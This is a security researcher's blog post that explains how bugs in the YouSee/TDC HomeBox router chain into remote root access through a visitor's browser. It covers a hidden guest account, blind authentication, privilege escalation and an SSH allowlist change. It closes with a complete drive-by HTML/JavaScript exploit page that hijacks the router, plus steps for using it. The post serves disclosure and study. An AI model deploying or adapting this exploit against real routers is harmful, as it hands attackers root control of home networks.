2018-09-30 17:00 | Lasse Trolle Borup

HomeBox part 2 – Attacking via the browser

This is part two in a series of blog posts documenting the bugs I found when exploring the YouSee/TDC HomeBox. The post will show the steps I took to turn a few separate issues into an external attack via a user's browser, resulting in a full root compromise of the device.

When I began exploring the extracted firmware, the file /etc/start-cfg.xml quickly caught my attention. The file contains the hard-coded configuration of the device as delivered by YouSee/TDC. It is formatted as XML and the topmost element is named Device. Some of the settings that varies from one customer's device to another are replaced at runtime, like the admin password and the settings controllable via the web-interface. However, most of the settings are common across all the deployed devices, with no options in the web GUI to change them.

HomeBox

Part of the configuration concerns access management, and the device includes some user accounts that the normal user is not made aware of. The admin account's password is different for each device, and is available on a sticker on the back of the device. Besides the admin account, the configuration lists tdc, onu, wholesale and guest accounts. The passwords are stored as hashes, and the hash for the admin and guest accounts are recognizable as the md5 hash of the empty string password. The admin password is replaced at runtime, and I will get back to the guest account later in this post.

HomeBox

The same user account section also details which interfaces the different accounts are allowed to access. As an example, the onu account can actually be accessed via SSH from the Internet, but only if it is connecting from an explicitly allowed IP address. This is enforced at the network level, so the listening port (7914) will not show up in a portscan originating from an IP that is not on the list.

HomeBox

After seeing that the passwords were stored as md5 hashes, I successfully cracked them (more on this in a later post), and tested them in the web GUI, where they granted access. Knowing these passwords allowed me to login and modify settings on any HomeBox, if I was connected to its local network.

This is not good, but it would be worse if this interface was reachable from the Internet. Looking at the configuration, I could see that the only interfaces that are open to the Internet facing side only allowed a few select IP addresses. However, if I wanted to attack the web interface, maybe that could be achieved by pivoting through a local user's browser?

An outline of this attack vector:

  1. The user visits a website where the attacker can embed JavaScript. This could be a site entirely controlled by the attacker that the user is tricked into visiting, or it could be a site containing a Cross Site Scripting vulnerability that the attacker can abuse. Attacker-controlled JavaScript is now running in the user’s browser. This should not pose a danger in itself, as the browsers security model is designed to handle this scenario.
  2. From the attacker-controlled JavaScript, requests are sent to the HomeBox on the internal network. Under the constraints of the Same Origin Policy, this JavaScript is not allowed to read any data from other domains (like the HomeBox at 192.168.1.1), than the one it is supplied from (the attackers server, e.g. attacker.com). In practice, the JavaScript can send a request via XMLHttpRequest(), but cannot read the resulting reply.

Let’s explore this attack vector by first having a look at the communication underlying the web interface using a web proxy tool like Burp:

The protocol is based on JSON formatted requests and replies. A request contains a list of actions, consisting of methods and parameters to these methods, and the response contains the results of those method calls. A successful login attempt can be seen below:

HomeBox

The nonce and auth-key for a request is generated with this JavaScript in the user’s browser:

n = c.random(a.UINTMAX);
lNonce = '';
if (g._nonce != undefined && g._nonce != '') {
	lNonce = g._nonce
}
g._ha1 = hex_md5(g.user + ':' + lNonce + ':' + g._md5Pass);
e = hex_md5(g._ha1 + ':' + f + ':' + n + ':JSON:/cgi/json-req');
	c.extend(t.request, {
		cnonce: n,
		'auth-key': e
    })

Before logging in, g._nonce is '' (empty string), g._md5Pass is the hex representation of the md5 hash of the users password, and f is an request id which starts as 0 and is incremented once per request. After the reply is received, g_nonce is set to the nonce value provided by the web service in the reply.

Following a call to the login method, the user is allowed to perform a list of other method calls via this protocol. Besides some methods for rebooting and updating, the primary methods revolve around viewing and modifying settings. This is done primarily with the methods setValue and getValue. One of the parameters for these methods is called xpath. XPath is a query language used to reference data stored in XML. Looking at the values of the xpath parameter while exercising the web GUI, it could be seen that xpath is used to reference elements in the XML configuration described earlier.

An example of getting a value can be seen below:

HomeBox

And an example of setting a value:

HomeBox

The XPath language also allows the use of wildcards, and by modifying a getValue request to query Device/*, I got a full dump of the entire configuration, including the password hashes and the other data not normally available through the web GUI.

HomeBox

Though the web GUI limits what settings are modifiable, the underlying interface has no such restrictions, and you can change almost any settings from the XML configuration you wish. More on this later in this post.

When looking at the authentication process, two things becomes clear:

  • I did not need to crack the users’ passwords from the configuration file, since the md5 hashes were sufficient if I created my own login requests without using the web GUI.
  • Since the auth-key for the requests following the login process were dependent on the server-supplied nonce value, I should not be able to send further authenticated requests if I could not read the server's reply to the login request. Therefore, the Same Origin Policy should prevent an attacker from modifying settings from JavaScript hosted under a different domain.

While the second point makes it seem that it is impossible to modify the HomeBox settings with malicious JavaScript code, the Same Origin Policy is not entirely bulletproof. If the HomeBox does not prevent it, it will be possible to use DNS rebinding to make the browser believe that the HomeBox is under the same domain as the malicious JavaScript, enabling the JavaScript to perform the authentication process and subsequently modify settings.

DNS rebinding is an old technique that has gained some attention again lately, and some nice frameworks have been created that makes this technique easily usable . DNS rebinding exploits the fact that browsers allow the same domain to be served by different IP addresses. This is not a bug, as many cases exist where a domain is served from differing IP's, like load balancing and cloud hosting. By supplying a DNS record with a short time-to-live on the browser's first lookup of the domain, the browser is forced to look up the name again after some time. At this point, the browser is supplied with a record pointing at the target IP, 192.168.1.1 in this case. It will now be possible for the JavaScript to interact fully with this IP, as the browser believes it to be under the same domain. However, the JavaScript's requests to the new IP will have a Host header containing the attackers domain, so it is easy to prevent such an attack at the device itself.

To check if the HomeBox verified the Host header, I modified a request in Burp and saw if it failed.

HomeBox

It succeeded, confirming that DNS rebinding can be used to attack this device.

However, DNS rebinding adds complexity, and some mitigations exist, like using a DNS server that filters private IP addresses out of DNS responses. Therefore, if I could exploit the HomeBox without relying on DNS rebinding, it would be more useful for an attacker.

Looking at the web GUI's requests when using a browser to visit the router homepage, Burp shows a few API requests actually being sent by the browser during the loading of the graphical elements. Apparently, as part of preparing the GUI, the guest account is logged on, queries some info, and logs out again. This seem to be the reason why the guest account exists and has an empty string password.

Looking at the reply for the guest’s login request, it can be seen that the guest account is always presented with an empty string nonce. This opens up the possibility of blindly authenticating and sending subsequent authenticated requests, as it is possible to precalculate the auth-key without reading the login reply. The only information missing is the session-id. But, since this is a number starting at zero and being incremented once per successful login, it will most likely be in the low range, and is easily brute-forced.

Noting this, I then tried to use the guest account to modify a setting, but I received an Unknown path error:

HomeBox

Apparently, it lacks the proper permissions. Looking at the XML configuration again, it can be seen that the guest account is set to a profile called anonymous, where the onu account uses a profile called SuperUser. Each profile has a list of "functionalities", like the ones below:

HomeBox

Comparing the different functionalities of the profiles, it seems that the anonymous profile has some control over its own account. This allow users to change their password, for example. As the Profile element of a user exists under the same XML element as it's Password element, it might be covered by the same permissions. Trying to change the Profile of guest while logged in as guest gave the following result:

HomeBox

It appears that a very simple privilege escalation is possible, and that the guest account can promote itself to SuperUser.

Now, the necessary primitives for an attack that will allow me to modify settings on the HomeBox via an unsuspecting user’s browser are in place. But what an attacker usually wants is full access to run code on the device. As this is a Linux box, a terminal with root privileges will provide that. As I touched upon earlier, the onu account, for which we cracked the password, is actually allowed to login via SSH from the Internet, if the attempt is made from an allowed IP address. By adding the attackers IP to the list of allowed IP's, SSH access is now possible.

The following method call adds such a rule for the IP address 8.8.8.8:

HomeBox

After this call, the attacker can connect as onu directly to the device's external interface - and since onu has an UID of 0, the attacker now has full root access. There should be other combinations of settings that can be modified to grant root access, but this will work nicely for most purposes.

TL;DR;

Before the most recent firmware version was pushed out to the YouSee/TDC HomeBox, an attacker could gain full root access to the device, if a user behind the router visited a website containing attacker-controlled JavaScript. This could even be done without using DNS rebinding.

Steps to reproduce:

  1. Deploy the following HTML page somewhere the target will browse, for example as a banner ad, or lure the user to a site you control.
  2. 
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <html>
    <head>
    <title>Ouch</title>
    <script language="javascript">
    function encodeAll(str) {
       var strEnc = '';
       for(var i = 0, ilen = str.length; i < ilen; i++) {
          var strHex = parseInt(str.charCodeAt(i)).toString(16);
          strEnc += '%' + strHex;
       }
       return strEnc;
    }
    function pwn() {
       //Log in guest
       xmlhttp = new XMLHttpRequest();
       xmlhttp.open("POST", 'http://192.168.1.1/cgi/json-req',false);
       xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded; charset=utf-8');
       try {
          xmlhttp.send('req={"request":{"id":0,"session-id":"0","priority":true,"actions":[{"id":0,"method":"logIn","parameters":{"user":"guest","persistent":"true","session-options":{"nss":[{"name":"gtw","uri":"http://sagem.com/gateway-data"}],"language":"ident","context-flags":{"get-content-name":true,"local-time":true},"capability-depth":2,"capability-flags":{"name":true,"default-value":false,"restriction":true,"description":false},"time-format":"ISO_8601"}}}],"cnonce":1,"auth-key":"b2aa8f84d8133559bd8f7fff4acd09f4"}}')
       }
       catch(error){}
       i = 0;
       //Promote guest to SuperUser
       while (i < 60) {
          try {
             xmlhttp = new XMLHttpRequest();
             xmlhttp.open("POST", 'http://192.168.1.1/cgi/json-req',false);
             xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded; charset=utf-8');
             xmlhttp.send('req=' + encodeAll('{"request":{"id":1,"session-id":'+ i +',"priority":false,"actions":[{"id":0,"method":"setValue","xpath":"Device/UserAccounts/Users/User[@uid=\\"1\\"]/Profiles/Profile[@uid=\\"1\\"]/Name","parameters":{"value":"SuperUser"}}],"cnonce":1767373089,"auth-key":"98e8d616f0f377b5efe9fe071f40da49"}}'))
          }
          catch(error){}
          i++;
       }
       i = 0;
       //Add our attacker ip to allowed external SSH logins
       while (i < 60) {
          try {
             xmlhttp = new XMLHttpRequest();
             xmlhttp.open("POST", 'http://192.168.1.1/cgi/json-req',false);
             xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded; charset=utf-8');
             xmlhttp.send('req=' + encodeAll('{"request":{"id":2,"session-id":' +i+ ',"priority":false,"actions":[{"id":1,"method":"addChild","xpath":"Device/UserAccounts/Users/User[@uid=\\"3\\"]/RemoteAccesses/RemoteAccess[@uid=\\"3\\"]/HostRestrictions","parameters":{"value":{"HostRestriction":{"IPAddress":"8.8.8.8","PrefixLength":"32"}}}}],"cnonce":1,"auth-key":"370dbc8cf7585eb43a31d04502eb1d0c"}}'))
          }
          catch(error){}
          i++;
       }
       i = 0;
       //Allow internal SSH login. This is not needed in the attack, but facilitates debugging other exploits;)
       while (i < 60) {
          try {
             xmlhttp = new XMLHttpRequest();
             xmlhttp.open("POST", 'http://192.168.1.1/cgi/json-req',false);
             xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded; charset=utf-8');
             xmlhttp.send('req=' + encodeAll('{"request":{"id":3,"session-id":' +i+ ',"priority":false,"actions":[{"id":1,"method":"setValue","xpath":"Device/UserAccounts/Users/User[@uid=\\"3\\"]/RemoteAccesses/RemoteAccess[@uid=\\"3\\"]/LANRestriction","parameters":{"value":"ACCESS_ENABLE_ALL"}}],"cnonce":1,"auth-key":"370dbc8cf7585eb43a31d04502eb1d0c"}}'))
          }
          catch(error){}
          i++;
       }
    }
    </script>
    </head>
    <body onload="pwn()">
    </body>
    </html>
    
    
  3. Record the visiting user's IP, and connect via SSH with the onu account and the proper password.
  4. Enjoy your root access.